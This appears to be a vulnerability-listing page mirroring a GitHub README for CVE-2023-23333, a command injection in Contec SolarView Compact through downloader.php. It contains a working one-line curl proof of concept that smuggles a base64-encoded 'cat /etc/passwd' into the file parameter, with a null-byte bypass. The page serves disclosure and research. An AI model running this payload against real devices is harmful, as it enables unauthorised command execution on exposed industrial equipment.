CVE-2023-23333 PoC — Contec SolarView Compact 命令注入漏洞

Source

https://github.com/Timorlover/CVE-2023-23333

Associated Vulnerability

Title: Contec SolarView Compact 命令注入漏洞 (CVE-2023-23333)
Description:There is a command injection vulnerability in SolarView Compact through 6.00, attackers can execute commands by bypassing internal restrictions through downloader.php.

Description

There is a command injection vulnerability in SolarView Compact through 6.00, attackers can execute commands by bypassing internal restrictions  through downloader.php.

Readme

# Summary:
 There is a command injection vulnerability in SolarView Compact through 6.00, attackers can execute commands by bypassing internal restrictions through downloader.php.

## Vendor:
* SolarView Compact

## Affected Product:
* SolarView Compact

## Version:
* SolarView Compact <=ver 6.00

## poc:
curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep   root:.*:0:0   

# Details:
Commands can be injected by bypassing internal restrictions by accessing the file parameter of the downloader.php page.

![image](https://user-images.githubusercontent.com/116296194/216899762-43ba7ba5-f90b-4ba6-93ca-c10a289e9f42.png)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →